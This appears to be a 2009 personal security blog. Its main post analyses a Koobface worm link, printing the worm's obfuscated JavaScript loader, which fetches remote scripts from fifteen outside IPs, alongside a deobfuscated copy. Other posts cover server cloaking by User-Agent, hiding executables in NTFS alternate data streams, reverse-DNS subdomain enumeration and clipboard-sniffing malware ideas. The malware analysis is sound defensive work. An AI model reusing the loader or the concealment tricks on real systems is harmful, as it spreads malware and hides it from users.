Koobface on my Facebook!

I was checking my facebook earlier today (something I almost never do), and noticed that someone had left a weird link on my wall: h t t p ://s217307881.mialojamiento.es/y0urc1ip/ I first visited the page in Firefox with javascript and such turned off. This is the source of the page as seen from firefox:

pcnxnkcaiztp cvnxmxxrgscdvkr
<script src="9j72fkj-de1w.js"></script>
qgdtubgfdho adbdzoam

I then decided to visit the page from the command line using netcat:

C:\>nc s217307881.mialojamiento.es 80
GET /y0urc1ip/ HTTP/1.1
Host: s217307881.mialojamiento.es

HTTP/1.1 200 OK
Date: Thu, 24 Sep 2009 18:40:56 GMT
Server: Apache
X-Powered-By: PHP/5.2.11
Transfer-Encoding: chunked
Content-Type: text/html

6e
<title>Amazing Video</title>
ucctsfnqmvyh ldaumylhrlljfb
<img src=j18sda5ncm8.jpg>
exlyansstgifbh wsrwmduxllj

0

Notice the difference? No javascript tag is found in the source. I did a little experimenting with the server and found that only requests that contain valid User-Agent headers will get the script tag:

C:\>nc s217307881.mialojamiento.es 80
GET /y0urc1ip/ HTTP/1.1
Host: s217307881.mialojamiento.es
User-Agent: The Old Laundry Basket

HTTP/1.1 200 OK
Date: Thu, 24 Sep 2009 18:49:57 GMT
Server: Apache
X-Powered-By: PHP/5.2.11
Transfer-Encoding: chunked
Content-Type: text/html

6a
<title>Amazing Video</title>
ozgauyjgghjy aabkqxigumthaux
<img src=j18sda5ncm8.jpg>
jorivrc bjajszitzkdqh

0

This one is sending a User-Agent string that IE8 uses:

C:\Documents and Settings\Student>nc s217307881.mialojamiento.es 80
GET /y0urc1ip/ HTTP/1.1
Host: s217307881.mialojamiento.es
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; .NET CLR 3.0.30729; InfoPath.3; .NET CLR 4.0.20506)

HTTP/1.1 200 OK
Date: Thu, 24 Sep 2009 18:58:35 GMT
Server: Apache
X-Powered-By: PHP/5.2.11
Transfer-Encoding: chunked
Content-Type: text/html

5c
upthmidfi ajglroelpsymijw
<script src="9j72fkj-de1w.js"></script>
ailsoghinur aaqajwmblrnbj

0

Now, onto the Javascript file: 9j72fkj-de1w.js. Below is the original contents of the file:

// KROTEG
var pwdfqiyjsclgezbrt9 = [
['facebook.com',  'fb2'],
['tagged.com',    'tg'],
['friendster.com','fr'],
['myspace.com',   'ms'],
['msplinks.com',  'ms'],
['lnk.ms',  'ms'],
['myyearbook.com','yb'],
['fubar.com',     'fu'],
['twitter.com',   'tw'],
['hi5.com',       'hi5'],
['bebo.com',      'be']
];
var fomqnzlcd1 = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var sxhidbqvre1 = '', xbujdriqngovtsz3 = '', psgyket3 = '', svzlnruwojfhi7 = '';
var zkglq4 = '' + eval('doc'+sxhidbqvre1+'ume'+xbujdriqngovtsz3+'nt.r'+psgyket3+'efer'+svzlnruwojfhi7+'rer'), ygepvbrakftloqmhwc6 = '';
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < pwdfqiyjsclgezbrt9.length; nilhfdopsrx7 ++) {
    if ((zkglq4.indexOf(pwdfqiyjsclgezbrt9[nilhfdopsrx7][0]) != -1)) {
  ygepvbrakftloqmhwc6 = '/f=' + pwdfqiyjsclgezbrt9[nilhfdopsrx7][1];
  break;
    }
}
window.redirect = '';
function urocwfkgdsjq6() {
 var higeruoxzcnqsbad9 = '' + window.redirect;
 if (higeruoxzcnqsbad9.length > 0) window.location.href = higeruoxzcnqsbad9;
 else setTimeout('urocwfkgdsjq6()', 50);
}
urocwfkgdsjq6();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
 n = parseInt(location.href.substr(n + 4));
 if (n < 101) js = '/cnet';
 else if (n < 201) js = '/warn';
 else if (n < 301) js = '/scan';
 else if (n < 401) js = '';
}
for (var nilhfdopsrx7 = 0; nilhfdopsrx7 < fomqnzlcd1.length; nilhfdopsrx7 ++) {
 var onjrmgcaifxsqtzb9 = document.createElement('script');
 onjrmgcaifxsqtzb9.type = 'text/javascript';
 onjrmgcaifxsqtzb9.src = 'http://' + fomqnzlcd1[nilhfdopsrx7] + '/go' + '.js' + '?0x3' + 'E8' + ygepvbrakftloqmhwc6 + js + '/' + (location.search.length > 0 ? location.search : '');
 document.getElementsByTagName('head')[0].appendChild(onjrmgcaifxsqtzb9);
}

And here is my version of it:

// KROTEG
var referrers = [
['facebook.com',  'fb2'],
['tagged.com',    'tg'],
['friendster.com','fr'],
['myspace.com',   'ms'],
['msplinks.com',  'ms'],
['lnk.ms',  'ms'],
['myyearbook.com','yb'],
['fubar.com',     'fu'],
['twitter.com',   'tw'],
['hi5.com',       'hi5'],
['bebo.com',      'be']
];
var ipAddresses = [
'113.254.53.10',
'90.26.229.142',
'190.172.254.232',
'221.127.37.107',
'59.93.80.251',
'212.27.24.141',
'95.180.84.107',
'80.230.36.229',
'210.6.20.103',
'79.182.37.95',
'219.90.107.78',
'196.217.220.29',
'92.251.109.111',
'96.32.66.105',
'116.197.110.171'];
var docReferrer = '' + eval('document.referrer'), newPath = '';
for (var i = 0; i < referrers.length; i ++) {
    if ((docReferrer.indexOf(referrers[i][0]) != -1)) {
  newPath = '/f=' + referrers[i][1];
  break;
    }
}
window.redirect = '';
function WaitForRedirect() {
 var currRedirect = '' + window.redirect;
 if (currRedirect.length > 0) window.location.href = currRedirect;
 else setTimeout('WaitForRedirect()', 50);
}
WaitForRedirect();
var js = '/view';
var n = location.href.indexOf('?id=');
if (n != -1) {
 n = parseInt(location.href.substr(n + 4));
 if (n < 101) js = '/cnet';
 else if (n < 201) js = '/warn';
 else if (n < 301) js = '/scan';
 else if (n < 401) js = '';
}
for (var i = 0; i < ipAddresses.length; i ++) {
 var scriptTag = document.createElement('script');
 scriptTag.type = 'text/javascript';
 scriptTag.src = 'http://' + ipAddresses[i] + '/go.js' + '?0x3' + 'E8' + newPath + js + '/' + (location.search.length > 0 ? location.search : '');
 document.getElementsByTagName('head')[0].appendChild(scriptTag);
}

I did some searching around for the word "KROTEG" and found this link: http://r3v3rs3e.wordpress.com/tag/kroteg/. What was on my wall was just another variant of the koobface worm.

I must say though, I found the javascript obfuscation to be quite simple to undo, which I did not expect coming from something that receives so much press.

I don't have time now to explain what the js file does, but will go through that in another post.

W3 Simple Proxy/Anonymizer with Custom User-Agent

A while ago I decided to hit the XHTML Validate link to see what the W3 XHTML Validator said was wrong with a web page. Of course, there were tons of things wrong (I don't know why people ever put the link on their page because they are never compliant with the w3 standards). Anyways, I noticed that it gives you the option to view the source code of the page it's supposed to be validating and thought you could use this as a proxy to view html web pages. Also, the w3 validator gives you the option of specifying the user-agent header that will be sent to the server, which could come in handy. They also seem to have a mechanism in place to keep you from inserting additional headers into the HTTP Request sent to the server, although the mechanisms for the uri param and the user-agent param are different.

Here's a sample url http://translate.google.com/translate?hl=en&sl=es&tl=en&u=http://validator.w3.org/check%3Furi%3Dhttp://gnarlysec.blogspot.com%26charset%3D(detect%2Bautomatically)%26doctype%3DInline%26ss%3D1%26group%3D0%26user-agent%3DW3C_Validator/1.654. The source at the bottom of the page would still need to be parsed out, but that's the basic idea. Also note the url param "user-agent".

Local Proxies with IE and Chrome

As I do web development, I often find it easier to setup a local proxy using Paros or Burp to more easily manipulate values being sent to the server. I usually use Firefox as my main web browser, and consequently almost exclusively setup Firefox to listen to the local proxy. The other day, I didn't feel like using Firefox, so I used IE instead and told it to use the local proxy I had setup using Burp. At the time, I also had Google Chrome running.

Everything went well for requests I had made using IE. Burp captured all requests and responses that were sent. Then I noticed another request/response that I didn't trigger through IE:

GET /msdownload/update/v3/static/trustedr/en/authrootseq.txt HTTP/1.1
Accept: */*
User-Agent: Microsoft-CryptoAPI/5.131.2600.5512
Host: www.download.windowsupdate.com
Proxy-Connection: Keep-Alive
Cache-Control: no-cache
Pragma: no-cache



HTTP/1.1 200 OK
Content-Length: 18
Content-Type: text/plain
Accept-Ranges: bytes
ETag: "0e4bf26aecac91:803b"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Age: 9261
Date: Mon, 17 Aug 2009 13:00:35 GMT
Last-Modified: Fri, 01 May 2009 22:42:48 GMT
Connection: keep-alive

1401C9CAAE2685483A

I'm not sure yet if it's IE sending this request, or some other program/service that is looking for windows updates.

I did notice, however, that all requests/responses sent through Google Chrome also get captured by the local proxy I had setup for IE with Burp. Not only do all Chrome requests get captured, but so do all http requests sent by all Visual Studio Express products (probably Visual Studio as well). I'm sure there are tons of other requests as well that would be captured by doing this.

Alternate Data Streams

In my recent Operating Systems class, I was supposed to give a 15 minute presentation about the windows file system. Instead of talking only about that, I got permission to talk about alternate data streams. This is my presentation (yes, somewhat short and brief, but I think it still gives a good description of why/how alternate data streams work).

Alternate Data Streams

View more presentations from nephijohnson.

A good part of my presentation was doing live demonstrations of how alternate data streams can be used from the command line. Here are some examples:

C:\ads>echo >stream.txt default unnamed data stream

C:\ads>dir
 Volume in drive C is BLAH
 Volume Serial Number is 48C7-9ED4

 Directory of C:\ads

08/15/2009  07:37 AM    <DIR>          .
08/15/2009  07:37 AM    <DIR>          ..
08/15/2009  07:37 AM                30 stream.txt
               1 File(s)             30 bytes
               2 Dir(s)  17,025,347,584 bytes free

C:\ads>more < stream.txt
 default unnamed data stream

C:\ads>echo >stream.txt:ads alternate (named) data stream

C:\ads>dir
 Volume in drive C is BLAH
 Volume Serial Number is 48C7-9ED4

 Directory of C:\ads

08/15/2009  07:37 AM    <DIR>          .
08/15/2009  07:37 AM    <DIR>          ..
08/15/2009  07:38 AM                30 stream.txt
               1 File(s)             30 bytes
               2 Dir(s)  17,025,347,584 bytes free

C:\ads>more < stream.txt:ads
 alternate (named) data stream

C:\ads>type C:\WINDOWS\notepad.exe > stream.txt:other_notepad.exe

C:\ads>start C:\ads\stream.txt:other_notepad.exe

C:\ads>cd ..

C:\>echo >ads:folder_data_stream folders can have named data streams as well

C:\>more <ads:folder_data_stream
 folders can have named data streams as well

C:\>dir ads
 Volume in drive C is BLAH
 Volume Serial Number is 48C7-9ED4

 Directory of C:\ads

08/15/2009  07:39 AM    <DIR>          .
08/15/2009  07:39 AM    <DIR>          ..
08/15/2009  07:38 AM                30 stream.txt
               1 File(s)             30 bytes
               2 Dir(s)  17,024,843,776 bytes free

C:\>dir /a:d ad?
 Volume in drive C is BLAH
 Volume Serial Number is 48C7-9ED4

 Directory of C:\

08/15/2009  07:39 AM    <DIR>          ads
               0 File(s)              0 bytes
               1 Dir(s)  17,024,843,776 bytes free

C:\>

Reverse DNS Lookups from the Command Line

Last week, I was received an email "from a friend" that invited me to create an account on some site in order to view "some pictures" he had sent me. The last step in the sign-up process included giving the site my gmail login information, which I was not about to do. At that point, I wondered if my friend was aware that I had been sent a message "from him". It turned out that he was not aware that the site had sent out an email to me. He did say, however, that he had gone through the signup process and had given the site his gmail login information. Following that, the site had sent emails to everyone it could find in his gmail account, telling them all that he had pictures he wanted to show them.

Needless to say, I found this rather disconcerting and wanted to find more information about the site. One of the things I did was to figure out what other subdomains the site has on its server.

It's easy enough to figure out the main ip address of a website. From there, finding many subdomains isn't hard. Most web hosting companies give out ip addresses in a somewhat sequential manner. Most companies sign up for their main servers all at the same time. This should mean that their servers' ip addresses are clustered around each other, which makes it easy to enumerate all of them and see if the resolved domain names for the ip addresses belong to the site. This is how I did this from the command line:

@del ips.txt 2>nul &cmd /c "for /l %i in (0, 1, 255) do @echo 216.157.72.%i >> ips.txt & @echo 216.157.73.%i >> ips.txt" & nslookup 2>nul < ips.txt > results.txt & type results.txt | find /i "wegame"

Yeah, I know it's a bit much all at once. This is how it looks made a bit more readable

@del ips.txt 2>nul &
cmd /c 
    "for /l %i in (0, 1, 255) do
        @echo 216.157.72.%i >> ips.txt &
        @echo 216.157.73.%i >> ips.txt" &
nslookup 2>nul < ips.txt > results.txt &
type results.txt | find /i "wegame"

So, I start out deleting any old ips.txt laying around, sending any error output to nul ( @del ips.txt 2>nul ). Then I run a for loop that generates ips in a separate cmd (hence the cmd /c). The for loop loops from 0 to 255 ( for /l %i in (0, 1, 255) ) and appends each loop value (%i) to the two ip addresses (216.157.72. and 216.157.73.). I chose to generate ips in this range because the main server's ip address is 216.157.72.224, almost in the middle of both ranges. After generating the ip addresses, I send the resulting file (ips.txt) to nslookup ( < ips.txt ), send any error output to nul ( 2>nul ), and output the results to a text file ( > results.txt ). I then type the contents of results.txt, piping the output to a find command that searches for the name "wegame" ( type results.txt | find /I "wegame" ). The output looks like this:

Name:    test3.wegame.com
Name:    test3.wegame.com
Name:    medproc3.wegame.com
Name:    medproc3.wegame.com
Name:    db2.wegame
Name:    db2.wegame
Name:    vip1.wegame.com
Name:    fw.wegame
Name:    medproc1.wegame
Name:    medproc1.wegame
Name:    medproc2.wegame
Name:    medproc2.wegame
Name:    test2.wegame
Name:    test2.wegame
Name:    test1.wegame
Name:    test1.wegame

You could also make it more verbose about what it is doing by changing it to look like this:

@echo . & @echo ------------------------------ & @echo . NSLOOKUP SCRIPT & @echo ------------------------------ & @echo . & @echo . Generating ips into ips.txt & @del ips.txt 2>nul & cmd /c "for /l %i in (0, 1, 255) do @echo 216.157.72.%i >> ips.txt & @echo 216.157.73.%i >> ips.txt" & @echo . Running nslookup on generated ips & @echo . (results outputted to results.txt) & nslookup 2>nul < ips.txt > results.txt & @echo . Searching results for [wegame] & type results.txt | find /i "wegame" & @echo . DONE!

The new output will look like this:

.
------------------------------
.      NSLOOKUP SCRIPT
------------------------------
.
.     Generating ips into ips.txt
.     Running nslookup on generated ips
.           (results outputted to results.txt)
.     Searching results for [wegame]
Name:    test3.wegame.com
Name:    test3.wegame.com
Name:    medproc3.wegame.com
Name:    medproc3.wegame.com
Name:    db2.wegame
Name:    db2.wegame
Name:    vip1.wegame.com
Name:    fw.wegame
Name:    medproc1.wegame
Name:    medproc1.wegame
Name:    medproc2.wegame
Name:    medproc2.wegame
Name:    test2.wegame
Name:    test2.wegame
Name:    test1.wegame
Name:    test1.wegame
.  DONE!

Clipboard Attacks

I was thinking today while I was using Remote Desktop to monitor one of the servers at work about how the clipboard is such a universally-accessible piece of the Windows operating system. To the extent of my knowledge, there is no real restriction on a program using or accessing it. A typical user will use the clipboard many many times a day, often copying important information and pasting it elsewhere.

Would it be feasible for a piece of malware to only monitor the clipboard and store all new text in a file? If so, the malware would stay relatively low profile and not draw any undue attention to itself. It would capture anything copied throughout the user's session. It would also capture anything copied in a remote desktop connection, since all things copied in remote desktop are also available to be pasted in the user's actual desktop (and visa versa). I am sure there are hundreds of other interesting situations where one could take advantage of the universality of the clipboard.

One interesting example of clipboard usage, although not related to capturing copied information, is related to RSnake's post about De-cloaking in IE7.0 using windows variables. All it would take for this to actually work is for a user to be sent an email with a link in it that doesn't go anywhere. Under the link, some text could say "Link not working? Copy and paste this into your address bar..." and boom! variable expansion and the accessed server has logged whatever expanded windows variables were contained in the copied url.

Removing .svn Folders (WINDOWS)

Sometimes I have to copy a folder for a school or work project that I manage with SVN. Usually I don't want to keep the original .svn folders. Instead of tediously going through each directory and deleting each .svn folder, I use something like this to delete all .svn folders in the current directory and subdirectories:

for /f "delims=^" %f in ('dir /s /b /a:D ^| findstr ".*\.svn$"') do @rmdir /s /q "%f"

You could make it be a little more verbose with it's output by using something like this:

@echo . & @echo Removing Directories: & @echo . & for /f "delims=^" %f in ('dir /s /b /a:D ^| findstr ".*\.svn$"') do @echo -- %f & @rmdir /s /q "%f"

In a more readable format, the command looks like:

@echo .
@echo Removing Directories:
@echo .

for /f "delims=^" %f in ('dir /s /b /a:D ^| findstr ".*\.svn$"') do
    @echo -- %f
    @rmdir /s /q "%f"

After sprinkling some new .svn folders throughout my hard drive, this is the resulting output:

.
Removing Directories:
.
-- C:\.svn
-- C:\Documents and Settings\.svn
-- C:\Documents and Settings\All Users\.svn
-- C:\Documents and Settings\All Users\Desktop\.svn
-- C:\Drivers\.svn
-- C:\Program Files\.svn
-- C:\Program Files\Adobe\.svn
-- C:\Program Files\Adobe\Reader 9.0\.svn
-- C:\WINDOWS\.svn

C:\>

Hope that helps :) Variations on this command have saved me a lot of time. If you need a better explanation of what everything does, let me know.